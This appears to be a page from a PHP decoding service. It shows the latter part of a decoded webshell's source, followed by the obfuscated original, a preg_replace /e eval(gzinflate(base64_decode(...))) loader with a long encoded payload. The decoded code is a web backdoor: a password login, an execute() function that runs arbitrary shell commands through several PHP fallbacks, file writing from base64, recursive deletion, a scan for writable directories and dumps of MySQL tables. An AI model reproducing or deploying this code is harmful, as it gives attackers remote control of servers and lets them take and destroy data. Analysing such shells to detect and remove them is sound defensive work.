		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
		for($i = $from; $i <= $to; $i++) {
			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
		}
		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
	}
	return $multipage;
}
// 
function loginpage() {
?>
	<style type="text/css">
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
	</style>
	<form method="POST" action="">
	<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
	<input type="hidden" name="doing" value="login">
	<input type="submit" value="Login">
	</form>
<?php
	exit;
}//end loginpage()

function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024); 
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr); 
}

function cf($fname,$text){
	if($fp=@fopen($fname,'w')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}

//   
function debuginfo() {
	global $starttime;
	$mtime = explode(' ', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo 'Processed in '.$totaltime.' second(s)';
}

//  
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
		p('<h2>Can not connect to MySQL server</h2>');
		exit;
	}
	if($link && $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p('<h2>Database selected has error</h2>');
			exit;
		}
	}
	if($link && mysql_get_server_info() > '4.1') {
		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

// 
function s_array(&$array) {
	if (is_array($array)) {
		foreach ($array as $k => $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

// HTML
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

//  ?
function getChmod($filepath){
	return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
	$mode = @fileperms($filepath);
	if (($mode & 0xC000) === 0xC000) {$type = 's';}
	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
	elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 
	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
	else {$type = '?';}

	$owner['read'] = ($mode & 00400) ? 'r' : '-'; 
	$owner['write'] = ($mode & 00200) ? 'w' : '-'; 
	$owner['execute'] = ($mode & 00100) ? 'x' : '-'; 
	$group['read'] = ($mode & 00040) ? 'r' : '-'; 
	$group['write'] = ($mode & 00020) ? 'w' : '-'; 
	$group['execute'] = ($mode & 00010) ? 'x' : '-'; 
	$world['read'] = ($mode & 00004) ? 'r' : '-'; 
	$world['write'] = ($mode & 00002) ? 'w' : '-'; 
	$world['execute'] = ($mode & 00001) ? 'x' : '-'; 

	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
 
	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}

function getUser($filepath)	{
	if (function_exists('posix_getpwuid')) {
		$array = @posix_getpwuid(@fileowner($filepath));
		if ($array && is_array($array)) {
			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
		}
	}
	return '';
}

// 
function deltree($deldir) {
	$mydir=@dir($deldir);	
	while(@$file=$mydir->read())	{ 		
		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 
			@chmod($deldir.'/'.$file,0777);
			deltree($deldir.'/'.$file); 
		}
		if (is_file($deldir.'/'.$file)) {
			@chmod($deldir.'/'.$file,0777);
			@unlink($deldir.'/'.$file);
		}
	} 
	$mydir->close(); 
	@chmod($deldir,0777);
	return @rmdir($deldir) ? 1 : 0;
}

//   
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

// ?  
function getPath($scriptpath, $nowpath) {
	if ($nowpath == '.') {
		$nowpath = $scriptpath;
	}
	$nowpath = str_replace('\\', '/', $nowpath);
	$nowpath = str_replace('//', '/', $nowpath);
	if (substr($nowpath, -1) != '/') {
		$nowpath = $nowpath.'/';
	}
	return $nowpath;
}

//  
function getUpPath($nowpath) {
	$pathdb = explode('/', $nowpath);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode('/', $pathdb).'/';
	$uppath = str_replace('//', '/', $uppath);
	return $uppath;
}

// PHP?
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return 'No';
	} elseif ($result == 1) {
		return 'Yes';
	} else {
		return $result;
	}
}

// 
function getfun($funName) {
	return (false !== function_exists($funName)) ? 'Yes' : 'No';
}

function GetList($dir){
	global $dirdata,$j,$nowpath;
	!$j && $j=1;
	if ($dh = @opendir($dir)) {
		while ($file = readdir($dh)) {
			$f=str_replace('//','/',$dir.'/'.$file);
			if($file!='.' && $file!='..' && is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
					$dirdata[$j]['dirchmod']=getChmod($f);
					$dirdata[$j]['dirperm']=getPerms($f);
					$dirdata[$j]['dirlink']=ue($dir);
					$dirdata[$j]['server_link']=$f;
					$dirdata[$j]['client_link']=ue($f);
					$j++;
				}
				GetList($f);
			}
		}
		closedir($dh);
		clearstatcache();
		return $dirdata;
	} else {
		return array();
	}
}

function qy($sql) { 
	//echo $sql.'<br>';
	$res = $error = '';
	if(!$res = @mysql_query($sql)) { 
		return 0;
	} else if(is_resource($res)) {
		return 1; 
	} else {
		return 2;
	}	
	return 0;
}

function q($sql) { 
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}

function sizecount($size) {
	if($size > 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . ' G';
	} elseif($size > 1048576) {
		$size = round($size / 1048576 * 100) / 100 . ' M';
	} elseif($size > 1024) {
		$size = round($size / 1024 * 100) / 100 . ' K';
	} else {
		$size = $size . ' B';
	}
	return $size;
}

//  
class PHPZip{
	var $out='';
	function PHPZip($dir)	{
		if (@function_exists('gzcompress'))	{
			$curdir = getcwd();
			if (is_array($dir)) $filelist = $dir;
			else{
				$filelist=$this -> GetFileList($dir);//?  
				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
			}
			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
			else chdir($curdir);
			if (count($filelist)>0){
				foreach($filelist as $filename){
					if (is_file($filename)){
						$fd = fopen ($filename, 'r');
						$content = @fread ($fd, filesize($filename));
						fclose ($fd);
						if (is_array($dir)) $filename = basename($filename);
						$this -> addFile($content, $filename);
					}
				}
				$this->out = $this -> file();
				chdir($curdir);
			}
			return 1;
		}
		else return 0;
	}

	// ?  
	function GetFileList($dir){
		static $a;
		if (is_dir($dir)) {
			if ($dh = opendir($dir)) {
				while ($file = readdir($dh)) {
					if($file!='.' && $file!='..'){
						$f=$dir .'/'. $file;
						if(is_dir($f)) $this->GetFileList($f);
						$a[]=$f;
					}
				}
				closedir($dh);
			}
		}
		return $a;
	}

	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;

	function unix2DosTime($unixtime = 0) {
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
		if ($timearray['year'] < 1980) {
			$timearray['year']    = 1980;
			$timearray['mon']     = 1;
			$timearray['mday']    = 1;
			$timearray['hours']   = 0;
			$timearray['minutes'] = 0;
			$timearray['seconds'] = 0;
		} // end if
		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
	}

	function addFile($data, $name, $time = 0) {
		$name = str_replace('\\', '/', $name);

		$dtime = dechex($this->unix2DosTime($time));
		$hexdtime	= '\x' . $dtime[6] . $dtime[7]
					. '\x' . $dtime[4] . $dtime[5]
					. '\x' . $dtime[2] . $dtime[3]
					. '\x' . $dtime[0] . $dtime[1];
		eval('$hexdtime = "' . $hexdtime . '";');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$fr .= pack('v', strlen($name));
		$fr .= pack('v', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);

		$this -> datasec[] = $fr;
		$new_offset = strlen(implode('', $this->datasec));

		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack('V', $crc);
		$cdrec .= pack('V', $c_len);
		$cdrec .= pack('V', $unc_len);
		$cdrec .= pack('v', strlen($name) );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('V', 32 );
		$cdrec .= pack('V', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;

		$this -> ctrl_dir[] = $cdrec;
	}

	function file() {
		$data    = implode('', $this -> datasec);
		$ctrldir = implode('', $this -> ctrl_dir);
		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
	}
}

//   
function sqldumptable($table, $fp=0) {
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
	$tabledump .= "CREATE TABLE $table (\n";

	$firstfield=1;

	$fields = q("SHOW FIELDS FROM $table");
	while ($field = mysql_fetch_array($fields)) {
		if (!$firstfield) {
			$tabledump .= ",\n";
		} else {
			$firstfield=0;
		}
		$tabledump .= "   $field[Field] $field[Type]";
		if (!empty($field["Default"])) {
			$tabledump .= " DEFAULT '$field[Default]'";
		}
		if ($field['Null'] != "YES") {
			$tabledump .= " NOT NULL";
		}
		if ($field['Extra'] != "") {
			$tabledump .= " $field[Extra]";
		}
	}
	fr($fields);

	$keys = q("SHOW KEYS FROM $table");
	while ($key = mysql_fetch_array($keys)) {
		$kname=$key['Key_name'];
		if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
			$kname="UNIQUE|$kname";
		}
		if(!is_array($index[$kname])) {
			$index[$kname] = array();
		}
		$index[$kname][] = $key['Column_name'];
	}
	fr($keys);

	while(list($kname, $columns) = @each($index)) {
		$tabledump .= ",\n";
		$colnames=implode($columns,",");

		if ($kname == "PRIMARY") {
			$tabledump .= "   PRIMARY KEY ($colnames)";
		} else {
			if (substr($kname,0,6) == "UNIQUE") {
				$kname=substr($kname,7);
			}
			$tabledump .= "   KEY $kname ($colnames)";
		}
	}

	$tabledump .= "\n);\n\n";
	if ($fp) {
		fwrite($fp,$tabledump);
	} else {
		echo $tabledump;
	}

	$rows = q("SELECT * FROM $table");
	$numfields = mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows)) {
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter=-1;
		$firstfield=1;
		while (++$fieldcounter<$numfields) {
			if (!$firstfield) {
				$tabledump.=", ";
			} else {
				$firstfield=0;
			}

			if (!isset($row[$fieldcounter])) {
				$tabledump .= "NULL";
			} else {
				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
			}
		}

		$tabledump .= ");\n";

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
	}
	fr($rows);
	if ($fp) {
		fwrite($fp,"\n");
	} else {
		echo "\n";
	}
}

function ue($str){
	return urlencode($str);
}

function p($str){
	echo $str."\n";
}

function tbhead() {
	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
	p('</table>');
}

function makehide($name,$value=''){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
	!$arg['type'] && $arg['type'] = 'text';
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
	if ($arg['newline']) {
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
	} else {
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
	}
}

function makeselect($arg = array()){
	if ($arg['onchange']) {
		$onchange = 'onchange="'.$arg['onchange'].'"';
	}
	$arg['title'] = $arg['title'] ? $arg['title'] : '';
	if ($arg['newline']) p('<p>');
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg['option'])) {
			foreach ($arg['option'] as $key=>$value) {
				if ($arg['selected']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
	if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
	!$arg['method'] && $arg['method'] = 'post';
	!$arg['action'] && $arg['action'] = $self;
	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
	!$arg['name'] && $arg['name'] = 'form1';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
	if ($arg['title']) {
		p('<h2>'.$arg['title'].' &raquo;</h2>');
	}
}
	
function maketext($arg = array()){
	!$arg['cols'] && $arg['cols'] = 100;
	!$arg['rows'] && $arg['rows'] = 25;
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}

function formfooter($name = ''){
	!$name && $name = 'submit';
	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
	p('</form>');
}

function formfoot(){
	p('</form>');
}

// 
function pr($a) {
	echo '<pre>';
	print_r($a);
	echo '</pre>';
}
?>
</td></tr></table>
</td></tr>
</tr>
</table>

Did this file decode correctly?

Original Code

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lb3LrmzdbpzZN1DvcCCoUe4Ya85xy4RQb8JOXjuWYAuwS8dvX3sx4wuO/GUIrsbGOf/ea2XOOS5kMEgG//Hv/b/9j8u//u1v/+X/+ds/xN/Xz58/Z/x9jj9/Vvx9vOu/f/9tPv78Of78aZ+/Oy9//vz59/PPz52vP39un/+f//b794/P/44//7v+/Gybf/6M7b/X5+++/v34/u/etv/+81nt8pefX9+f1//y++36l88bf/n3+R9831+f5/d5+3/wPv+75/vr+//18/76ffvntb88X/vL9//52f7X9fuPnm/+++/7//X7er/zz3OvP3s9bp/P63/+bv75/+v3nPx+3u8ZeX7Oy+87Tj5n6L///Ht/fc5Y+/l8Vr99viP/7nfP/vzpTz3P+Pz/9efv5u/vXT/7nGf09vn9/KMzOn7/99RaXz7f30893/XzXb/P8/su+Sy/e/Tne9ah8/H75897rT9/1x+fd1k6a7/P9vv/O3fh9TkzS9/x+71jfu7B7/fnZz4+3/37uef98wy/77V0d36f4/d9fv//0nrx/3N9mv57aq31779/fv873/epz+l1B3/X5vffutb993t//zt/7l17588+P//9+8y/75nn66J1euneT53xH63PXd+n//19j7yHQ895r3va9a557vRsv2u4dE/yOW76zuvn+XmffA+tUT7b8Xn+fK533aW0V9t//37PbLVWv3/3+0y/v/f7OflO2K2rfm99nmndag1yH/Vcv3/P7/+e4989yn87dLaun+eeXTb19+cvn//urN9Fd2Db5zwb2qe8a9fP2cn3Gp89TXsnG/y7/r9n7XedOQO/f37//+/f/57pPI8X7cP63Kv8c/n87O8+5do8P8/TZfNZ77znTfvUP++Yd0xrMvW5+W8/usfr8/65l0t3q31+/vezm9Y8P1d7NGSbft9l6lmm7n/+t2xOvqNsSN5l3YPfffp9Bu7377n8XcN+/fxu7u8su/J7F/Nej8/PTj13nqffnzs/e/X7J5/1qufrug/3Wsffn/m1Xb/70jj/N52zt+4wfrTpvTe/+vt3v8+Yz/GUrdRn5F5cN5vQdDd0b7AhaYfmZ91/35v94Gz/Pgt3NX9ed6JpbYZ+Lt9H6537cpEt7Z97m3ZWa5z386Fzdvm8V57hWbYz33183un3fi2dt9/f6di1i+zVj76b99E9+d0rn0m9i/dE52tobZfsfO7D+Tkn3OfBeRh63kN7feh7H/K32JL+eae0l3fdjyY7iQ966u9u8jft899N52rIp/V33YH939MfHzpDU597fv4u1/eld7p+zlz+u85Q+pBeNoHzkphjs7f5e03nV8/x+76/a5429S5feuoMLtlF+ROfWfns32fK5+t6/ovu+OXzGU1nIZ+py0bKFuU6n1qz/vn+Ds752fZHn/f7b/n8o34v/1v+vWMLr9ue6lm7zufUfZpgAN2pk7t56H10rjmfiW/6Zx27sMTvfQUv+K5f9ay6T112n+9Mm6XPz+85P3cB+9u07rln4B8+70drehZm6bJjS3Ynv093LM/V4/NMU+e/y35M3qFrL8EwN2G1pv2QjfOZuso2yncP/fwUHsm9fX/2bMrugA0Snx3CcRedkYv2hnsrO5v3nrs6a23BzWDFtKXyaXl2R92Hcd2eT3d0yB8svVdi2R/d183H8f+ncHXa+FN2VHfGZ0prms+qO/C7BoOz9tTnCWPkHVC8s+RbHH9wj/rnO/LstM/ZwM822Ya0S0vP9/qs4RReWK2eL+/oLYzz2Ov1U++EjwWfpM0/hW1k+3Jtr1q/U3ZOdjZ9AjjxHsbKQ/7dmHvojgzdpZfOJvjlKZuFDcS3Cy8s7POQr3nq7Fy1D5zd87NOGUNstsb2QWduco91Jro+P+3oEK45hQl0DqbeO88Ntvcm/4KtOwu/YD/SPgn3gYWm7szQ/VnCFb///nuGurBK4s+fz3n9PefY0ymM+Pve+Y76vt/1SV/a5Ft4F+KA5+e756W+I2N9zgpxv+4A/iGx+V224qw7lHgLnH3Ib/5obQ75PHDdu85zrtlFd/yo7+d8TNmbPKuK6Yil8jlvepe77uYZxnh5BnVmlmzuvJdNGMLm+bPa//yOl97rVjaIWC/Py/qc67yL2NiXbIli8XwX8FP/PKfvkPwruK7rv732d9l1nZe0uT2MjzPuEq4H181ZPq9rr/FT4N+lc7nk5yY2WHY331frPXRf00f9yL7rTuZ5bGXvMpbcMO0Szku8q/1v8n0Zl8tO45sSz4MVhL3zHF8+d2IKY6zLdmeun+eeirXyTHKWuePgki0uWsIsTVijy1fZfwhjDcXCXT68yY93YjTFbOe97PAEqwovEg8N2eiuO8qZ6tfyhQ0sMbVfvdYq9+X9WYNTtrXJhmRMJ9veZSOmcGv6nhHmJHK/hK0dHz2E6eBD5NfAzHwO/iFtjnAU8fWpWAW/lzZc9tj/e4QxaxNWnnwXezXL7uZa6ZzlWsvHwL+c9/pv/JvXqZed5F6YUyKuXPr3q86g+IC0icJwacvP8mNdsdpQ3Jr37Fb2y7zTU8/cPmuHnWAvB3dAWDz94an3lh3A/hKzLeI47SExZpdtGrIjv+cgP/+t9ZyyPeIuuu70VLwMDzTkg433FHekv9A+mCfQvg7wDGf1pXeFfyDe5gwr7shnv8qGyQ59xRh6hk7828M8YdM7T9n/9O9H+cEFvlGMnL5b/qqPsvPp/4Xj4OOWuKz8g286yhfAQRmXER8eUbGjbNsSFljCAOmfsfV69xNMLF8I9uv4hq57ix/m88QRTN3dLt+Xe9L1+1rPdau7ja0cwuW5/l1n79CZke1vuttdfnMQ6+qzsDNTsWPaxCFMK+4H+7HO+syuuAo/OvXzxO3497RzF501eK6jsBPcY9cewDd34Yjc55/yESf4fX3Oed5F+dP8LmHyzn7AwwytN7iW+ATbcC870FvZpY7PkT3PZ2QNFTOszQ7ibxf+/5DtJtbrZWfntn+JhRRLNM6L7voQj5S29B2Fu/WdGdsqDgWzpD8SZk7Me93sgfxl2sWb/LLi6ybsQ1yQdhGeTj526N8mtlp2eWznNJ+DszvlO4SL89lkC5rwRvoO2cWms5J2mnOjzxhzszPiNLhjXfF3I2egf0u8ze++ZVuen/XMfZa96vI5uc7iE4Z4vgVfrHWAJ4CDy/dSvLbzJ3APUxxQ3zBKrg/3GP7orbVYxWUYe+kz8n68ZLew0+AAzjUxvLAwXPApf5XrcISxdb7DpT4n7Zxw5xCem8L/YCvjGp2zppg4Y7yfcCxH7mTIxs1ZPgW8n98/6i7Co/IeefeEtfL74SsVV09is+3csS/rpzDDYK3wY7Jb+S7yPWkHFIt27ofOF/ch/fArjH+b4uHEaPgY/W/644vWpenn+fxHVNxFHmIUBum3snN577Av4vI5B3l3js/nkI/KvX6UTWrCQ4m9ZGuJMad8QQOv3MM8PHz6IGbhnMKTcV8fYT4IzhX+x7HHUee2Y0t15od+L/cEn3GG837wALnXR2FtMOeSL1riVNJ+HTrLOtPmIG+fz1jKO4ATOmfsKEyVtvwsu0KMAL9Prszct+5s7gtnGf5TdzNtwevz//MzZZfhKYb88BTebu2bY5/CpU32tes8Jk6Uv+fnck/gthUjkDcnl8aZ5RxO9k023Zi4lW9IH38J59emMMLkHN/CvNSCP5NvBX+ljbpufkG4IDHGoWd+aZ8fsv3isnJ/5DPB15y3Rkz9lo0Tzs47ofND3AT2ybsi32W+jvMm7Ja2Yhb+7cI56TMUI6Rt0LnqioHzbukdlmKQjk8SBuZz+73u2xC3Q8zfdQfA1sSg5Fu54/iLiS9W3NzF7+Bz8Q1L9ww8ZZsjf7KIt4STiNl4d6+3znJiWfm2KdueazB1Jo6y1/nzijXz3U+9FzZWcSKc98DPs4/CDF1YvXM35Y/hJTv2VpgMnjbvoOw3Z2kqBoajNSYYUbl3YfisjdFzd+GYtPVwXzfhRnhyYmHwJfH25fOzrnG5ff4d/gTekTtA7mznbQf3+xLG5OQFGhzNKMy4hI0XfMNN6yduxjbmp/z12O9111ocUXkqxS+NfMXUGZFtmPoOfDZ84xKegzPN+yx7Rt5o6Wx04V1jQd1zPpf40/UUwujE+13nGe4aTpG4xrlycQr5zLITY8NmQ36c/IW5ZfEz+Xxaq36r8w9mTSyj+g1qIIg3lnhp54nxYdrLpdgjz/oWc6cf4CxjP8X9pM+Xr817fYTrY/J/N7xDTUjTfQUfJ4ege7I4w+/Pmo5r2ddc5x7mmMijZQyHvyKm1TkfrTBHU5ya361nzr1uulO3z9qe2sPGPb/pnBF3Eecd8uUznA8iT9RZ95/6rvS/4FzZVHw/uekpm52YS5xa4i34qFa2OtcfHyHsnM8nHwuPao6A2PrcbDvxvu5g+gl8pzC6baN81dR35569wrFA7vGpsyP77XwPZw8bBnctbMpnZtwiTmIpXgNvuAaFmEQ4yvfuEY7b0k8IU06djaW4LWMG4bkJP6vnojYhz6ZsGTV2u99rsl3kMKg7ylyN7vQQTuV7qcOZ2DT5MP6dvDHnZApfEAvlc8p/5NrAB4g7gMsj58/zY5Pgw/BH/Vr3ET4l11TxLDVduZby4eB+OJk8i4oLm+7Ykg9NPDoKVy/ZUfaevMi81r4svUu/bFzuW/u6NpwAtnuEuUbiYu5/7hVx/avsO/FCnvmp51KsCUdoLv7Qer3lo+AZ5OMnZ+2o89gUf3dwnvAwMQk1j8QMgzP8iuJHtV9wofArGcuMz3NTC9Z1N6lXmvr+PB/iLfYc0BDOIAfluit8/Sl8Lp6m67/hH1xT9vqsYb4L9wy8KrwGd0qOA8xLjnLq3xefcXz+zVj7ps/QelIzQYyfmF7/nvsm3qXLdqVdFSeKT3T9ks4iPorzSB5s9M2nzfKXS/gVnJT/xv8nxhRvY47wHa4laoozljA6HGbaD3i387Mee74CvJXYECw3tf86I1P2nfqsKd8377XmDUzBWsmnU98AF2VORjjK9VfEdMfnzp/YwbPybUM+cbaKHdYq7p28c+M8Yn+Oj23snB3ZtPVT+0YdH5h0yFbCtQzOhM4tNp37Qd4Ne97FocDRp+196R5qHamx6YrXweNL52OANYWXlvZxaJ38/1dUHlUYz/k44Q2wDXxK+6l72WWH835on3ivDo9EjqCHuencH+EkeB1y3flZYEXZmeQ4ptZKeIm62lzjsz5vENMKH5h7OsM1bVOYjlhuat93n5N70D770mXH0ofI5nedY3jSJY6I2KUJ19q3iW+Y4g2bcLPrg5vwJ98vzIl9nbrXzutt9t2xI/ug925b7JQYn72QfeVe89n5nvKX8HZD9wM8NHl/2Z/9/FOjA5al3sI1BHw+Mdb8fBY1tvn3iinSHsm3cc7H2s6EMDq5T+Mf2RZilfRj2IiudVCcv+RnOYfGB4rLyQ1TRwD+7MIB4KmJrebe4F/W5+9PMLV86ALni5egbhROirzVUvze5dfId1D/M4Xtm2KbvX5pXWqdXZurswXnvMS/5L+1wmTrrOej3mhs9nAo1jMXCldxC9cs2PZeP3+WeHa4rcQ277pzxiO3MIeYdxRO6gzndgZ4Bz4UjkWc5c7jwCG6zkt3Cs4efGBcovWjdi33/KF9ugqH9c+Z/Mr5656ts36Xuvk8H/jfbd0XfuKsn02+SrZkwTXMcA04uVTqPfLZyXNq3/IZsMun7L1wFlh0trK9YDvuGrVc+XuXbW2wH7KfAy71FoUZ31svCH6Ze/fS/wo3Uu9I7jjvmfB+2trHdl8VS0zZl0VsMfUexKyyT67BX+EceFc8h2+AD3XfA9j/9jk/jt2anlkxR55p3TXzS5yNa5hzTlzzLDvn/LXePb/7Fs7X4T/J7RNPLWGv/HPq3YWN8P+nYsQp2w6mJH6lng0+vck/pP2V3x2bL5u613l+4Mb1+67n0zu7vuAZ5rUX/giuU/bacdkszGV7rHWcWwzjMwJn8YzKZ8lGuBZA/td1Sxu/QX0xddCJi2Qz4TGp6+46q861bBhhgl/FOWHPu84J/w2vxF4NxV/4tD2WIXbDt5DnSnwxtT7i8PLsbOedWIiaTvCqsaxivK96d51r81eKJ+CT4d5cO6c4nT6EJUxKjTv8de+1J9TPs66JhbTO1G24/p2ze6uainatZ139+087ygaRw3Tt5BmVi9Rd9Zk7tYZaC/ocGvdF+059CrGx88Rad3PccKVgcO394BzoDIMZOTf2McRDL8VbutuZQ9d6LeFZfAx8RBcnsGMo/Kdxw6O+h5o/34MjnPOk36FjD+d2jojnnuFaMzjlrjjLNWht68mBI9QzLNmi9GP4It196knyHS+Fb/Pc6lng58atant3TmPC098+v5OxyavsDzh6bOuTnAs4WP4En5a2vxWuhefNdQCjknt/hfsOpuIV1yq+da+F9eBuyUPnM4hjoU8MW2F7JxxGTq9xl+W7yJF3fII4SupmnOMFE2JThUmpE+McuB9B7585JZ5PdsZ9YOC8DWuZj72HY1Z47NxnxSMNLgS/2j9nb2ETFLNQh0aOg5yTa6tZazgGYq4jHAO4xu2me48PPsqXddk++jqbYhRwq2Ofu+KEt54VjHaI/9e+c8cWOWKdq77dh6ZYMz8Dzkn2Crs0dM7gRpfsC7mPqe9Iu4pvHp/7wZ2m5h6fnDbxGuYHyYfx7lPxaNPPujfrKF9D3wv